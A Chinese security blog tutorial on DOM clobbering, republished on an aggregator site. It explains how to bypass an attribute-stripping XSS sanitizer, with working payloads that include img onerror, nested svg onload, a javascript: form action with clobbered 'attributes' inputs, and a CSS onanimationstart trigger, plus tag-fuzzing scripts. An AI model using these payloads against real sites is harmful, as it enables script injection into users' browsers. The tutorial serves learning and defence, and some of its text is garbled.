DOM型XSS破坏

目录

首先

然后

第一种

第二种(DOM)

HTMLCollection

HTML Relationships

Custom


首先

<script>//urlencode解码 //location接口的hash属性是一个字符串,包含一个“#”后跟位置URL的片段标识符。如果URL没有片段标识符,则该属性的值为空字符串""//substr值的substr()方法返回该字符串的一部分,从指定的索引开始截取//substr(1)如果不写,就会把#截进去const data = decodeURIComponent(location.hash.substr(1)) //使用data接收#后面的值const root = document.createElement('div') //创建一个div元素
​root.innerHTML = data  //将data的值赋给divdocument.body.appendChild(root); //把root的内容插入到body里面去for (let el of root.querySelectorAll('*')){     //循环遍历div元素中的子元素 for (let attr of el.attributes ){       //获取div子标签中的属性el.removeAttribute(attr.name);      //对子标签中的属性进行移除}}
​//访问时127.0.0.1/a.html#<img src=1 onerror=alert(1)>//结果只删除了src=1,剩下的<img onerror=alert(1)>依旧存在于div中,是因为索引的问题,//例如[1,2,3,4,5]把1删除后,2就到了1的位置,但是代码已经继续往下执行,就把到2位置的3给删除了//以此类推最后剩下[2,4]//HTML 5中指定不执行由innerHTML插入的script标签,所以不能传递script标签//由此可以这样绕过:<img a=1 src=1 b=1 onerror=alert(1)>
</script>

然后

因为这个代码不能完全删除传入的参数,所以下面这段代码对其进行了升级:

<script> 
//<style>@keyframes x()</style></form style="animation-name: x;" onanimationstart="alert(1)">
const data = decodeURIComponent(location.hash.substr(1));
const root = document.createElement('div');
root.innerHTML = data;
​
for (let el of root.querySelectorAll('*')) {let attrs = []for(let attr of el.attributes) {attrs.push(attr.name); }// 在这里删除我们的属性,onerror href,程序没有走进去就触发// dom破坏,给它品控生成一个无关的节点,不会删除我们的payloadfor(let name of attrs) {el.removeAttribute(name);}
}document.body.appendChild(root);
</script>

第一种

1.一个svg触发会失败 二个svg会成功
2.在属性都被删除的情况下,为什么svg依然可以触发成功
​
<svg><svg/οnlοad=alert(1)>会在root.innerHTML = data;被触发。
它属于自闭合标签,onload在DOM解析时立即执行,早于属性移除
<svg/οnlοad=alert(1)>是非自闭合标签,onload事件在DOM插入后才触发,但此时属性已被移除

第二种(DOM)

HTMLCollection

之前XSS GAME靶场的Ok, Boomer这道题是一层的形式,但是这里要用两层。我们可以这样试试:

<div id="x"><a id="y" href='hhhhhhhhh'></a>
</div>
<script> alert(x.y);
</script>

这⾥⽆论第⼀个标签怎么组合,得到的结果都只是undefined 。但是我们可以通过另⼀种⽅法加⼊引⼊ name 属性就会有其他的效果。

HTML Relationships

再者,我们也可以通过利⽤HTML标签之间存在的关系来构建层级关系。

<script>var log=[];var html =["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp"], logs = [];div=document.createElement('div');for(var i=0;i<html.length;i++){for(var j=0;j<html.length;j++) {div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+' id=element2>'; document.body.appendChild(div);if(window.element1 && element1.element2){ log.push(html[i]+','+html[j]);}document.body.removeChild(div);}}console.log(log.join('\n'));
// 以上代码测试了现在HTML5 基本上所有的标签,使⽤两层的层级关系进⾏fuzz ,注意这⾥只使⽤了
id ,并没有使⽤name,遇上⽂的HTMLCollection 并不是⼀种⽅法。
</script>

// 试试
<form id="x"><output id="y">hhhhhhhhhhh</output>
</form>
<script> alert(x.y.value);
</script>
// 三级的层级关系我们就需要⽤到以上两种技巧来构建
<form id="x" name="y"><output id="z">hhhhhhhhhhh</output>
</form>
<form id="x"></form>
<script>alert(x.y.z.value)
</script>
Custom

以上我们都是通过id 或者 name 来利⽤,那我们能不能通过⾃定义属性来构造呢?

<form id=x y=123></form>
<script> alert(x.y)//undefine
</script>

很明显,这意味着任何未定义的属性都不会具有DOM 属性,所以就返回了 undefined。我们可以尝试⼀下fuzz 所有标签的有没有字符串类型的属性可供我们使⽤:

<script>var html = [...]//HTML元素数组var props=[]; for(i=0;i<html.length;i++){obj =document.createElement(html[i]); for(prop in obj) {if(typeof obj[prop] === 'string') { try {props.push(html[i]+':'+prop);}catch(e){}}}}console.log([...new Set(props)].join('\n'));
</script>

==============================================================

//试试
<form action=javascript:alert(1)><input id="attributes"><input id="attributes"><button type="submit">Submit</button>
</form>
//要用户交互

el.attributes 本来应该是元素的属性列表,但由于 <input id="attributes"> 存在,el.attributes 被覆盖成这个 input 元素本身!

所以 for(let attr of el.attributes) 会尝试遍历 input 元素,所以不能只写一个input,只写一个 input 就不是可迭代对象,会导致内部报错。

onaniamtionstart是JavaScript中用于监听CSS动画开始的事件处理器

//用户不交互
<style>@keyframes x()</style></form style="animation-name: x;" onanimationstart="alert(1)">

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/915552.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/915552.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux C 多线程基本操作

我们已经了解进程的基本概念&#xff1a;进程是正在执行的程序&#xff0c;并且是系统资源分配的基本单位。当用户需要在一台计算机上去完成多个独立的工作任务时&#xff0c;可以使用多进程的方式&#xff0c;为每个独立的工作任务分配一个进程。多进程的管理则由操作系统负责…

C语言基础:二维数组练习题

1. 一个二维数组赋了初值&#xff0c;用户输入一个数&#xff0c;在该二维数组中查找。找到则返回行列位置&#xff0c;没找到则提示。#include <stdio.h>int main() {int arr[3][3] {{1, 2, 3},{4, 5, 6},{7, 8, 9}};int t;printf("要查找的数&#xff1a;")…

Java面试题034:一文深入了解MySQL(6)

Java面试题029&#xff1a;一文深入了解MySQL&#xff08;1&#xff09; Java面试题030&#xff1a;一文深入了解MySQL&#xff08;2&#xff09; Java面试题031&#xff1a;一文深入了解MySQL&#xff08;3&#xff09; Java面试题032&#xff1a;一文深入了解MySQL&#x…

Java基础教程(011):面向对象中的构造方法

10-面向对象-构造方法 构造方法也叫做构造器、构造函数。 作用&#xff1a;在创建对象的时候给成员变量进行初始化的。 ✅ 一、构造方法的特点特点说明与类同名构造方法的名称必须与类名相同没有返回类型构造方法没有返回值&#xff0c;甚至不能写 void自动调用使用 new 创建对…

Adobe Photoshop:数字图像处理的终极工具指南

Hi&#xff0c;我是布兰妮甜 &#xff01;Adobe Photoshop自1990年问世以来&#xff0c;已经成为数字图像处理领域的标杆和代名词。这款强大的软件不仅彻底改变了摄影、设计和艺术创作的方式&#xff0c;还深刻影响了我们消费和感知视觉内容的文化方式。从专业摄影师到社交媒体…

本期来讲讲什么是LVS集群?

集群和分布式 集群&#xff08;Cluster&#xff09;&#xff0c;解决某个问题将多台计算机组合形成的系统群。 常见的集群类型&#xff1a; 负载均衡(LoadBalancing&#xff0c;简称LB)&#xff1a;由多个相同配置的主机组成&#xff0c;每个主机经过调度承担部分访问&#…

JVM 类加载过程笔记

一、概述 JVM&#xff08;Java Virtual Machine&#xff09;在运行 Java 程序时&#xff0c;需要将 .class 字节码文件加载到内存中&#xff0c;并转换成可以被 JVM 执行的数据结构&#xff0c;这一过程就是 类加载过程&#xff08;Class Loading Process&#xff09;。 JVM 的…

基于爬虫技术的电影数据可视化系统 Python+Django+Vue.js

本文项目编号 25002 &#xff0c;文末自助获取源码 \color{red}{25002&#xff0c;文末自助获取源码} 25002&#xff0c;文末自助获取源码 目录 一、系统介绍二、系统录屏三、启动教程四、功能截图五、文案资料5.1 选题背景5.2 国内外研究现状 六、核心代码6.1 查询数据6.2 新…

如何用 LUKS 和 cryptsetup 为 Linux 配置加密

在信息安全愈发重要的今天&#xff0c;为 Linux 系统盘配置全盘加密已经成为很多企业和个人的选择。LUKS&#xff08;Linux Unified Key Setup&#xff09;配合工具 cryptsetup 可以在不牺牲性能的前提下实现高强度加密。本文将通过一个故事化的场景&#xff0c;介绍整个配置过…

VIVADO技巧_BUFGMUX时序优化

1.版本说明日期作者版本说明2025xxxx风释雪初始版本 2.概述 基于VIVADO时序约束&#xff0c;BUFGMUX多路时钟选择原语的设计3.原语介绍 7系列FPGA/UltraSCale/UltraSCaleBUFGMUX_CTRL BUFGMUX_CTRL_inst (.O(O), // 1-bit output: Clock output.I0(I0), // 1-bit input: Cloc…

服务器系统时间不准确怎么办?

服务器系统时间不准确可能会导致日志错乱、任务调度失败、SSL证书校验错误等问题。以下是解决办法&#xff1a;&#x1f310; 一、同步系统时间的方法1. 使用 timedatectl 命令&#xff08;适用于 systemd 系统&#xff09;timedatectl set-ntp true # 开启自动同步 timedatect…

零信任产品联合宁盾泛终端网络准入,打造随需而变、精准贴合业务的网络安全访问体系

零信任网络访问控制&#xff08;Zero Trust Network Access&#xff0c;ZTNA&#xff0c;文中零信任皆指 ZTNA&#xff09;基于“永不信任&#xff0c;持续验证”的理念&#xff0c;打破了企业基于传统网络边界进行防护的固有模式。在当前日趋复杂的网络环境下&#xff0c;内部…

【未限制消息消费导致数据库CPU告警问题排查及解决方案】

一、背景 某天下午&#xff0c;上游系统同一时间突然下了三个大合同数据&#xff0c;平均每个合同数据实例在6万以上的量级&#xff0c;短短几分钟内瞬间有20万左右的流量涌入系统。 而在正常情况下&#xff0c;系统1天处理的流量也不过2千量级&#xff0c;当时数据库指标监控告…

iOS开发 Swift 速记2:三种集合类型 Array Set Dictionary

初级代码游戏的专栏介绍与文章目录-CSDN博客 我的github&#xff1a;codetoys&#xff0c;所有代码都将会位于ctfc库中。已经放入库中我会指出在库中的位置。 这些代码大部分以Linux为目标但部分代码是纯C的&#xff0c;可以在任何平台上使用。 源码指引&#xff1a;github源…

Apache基础配置

一、Apache安装# 安装apache [rootwebserver ~]# yum install httpd -y# 在防火墙中放行web服务 [rootwebserver ~]# firewall-cmd --permanent --add-servicehttp success [rootwebserver ~]# firewall-cmd --permanent --add-servicehttps success# 开启服务 [rootwebserver …

Python100个库分享第37个—BeautifulSoup(爬虫篇)

目录专栏导读&#x1f4da; 库简介&#x1f3af; 主要特点&#x1f6e0;️ 安装方法&#x1f680; 快速入门基本使用流程解析器选择&#x1f50d; 核心功能详解1. 基本查找方法find() 和 find_all()CSS选择器2. 属性操作3. 文本提取&#x1f577;️ 实战爬虫案例案例1&#xff…

石子入水波纹效果:顶点扰动着色器实现

水面波纹的真实模拟是计算机图形学中一个经典且重要的课题,广泛应用于游戏、影视和虚拟现实等领域。本文将从技术原理和实现细节出发,系统介绍如何利用**顶点扰动(Vertex Displacement)**技术,结合多种辅助方法,打造既真实又高效的水面波纹效果。 一、顶点扰动的核心思想…

【FFmpeg 快速入门】本地播放器 项目

目录 &#x1f308;前言&#x1f308; &#x1f4c1; 整体架构 详细流程 &#x1f4c1; 数据流向​ &#x1f4c1; 队列设计​编辑 &#x1f4c1; 线程设计 &#x1f4c1; 音视频同步 &#x1f4c1; 音频输出设计 &#x1f4c1; 视频输出设计 &#x1f4c1; 总结 …

Maven dependencyManagement标签 properties标签

dependencyManagement标签properties标签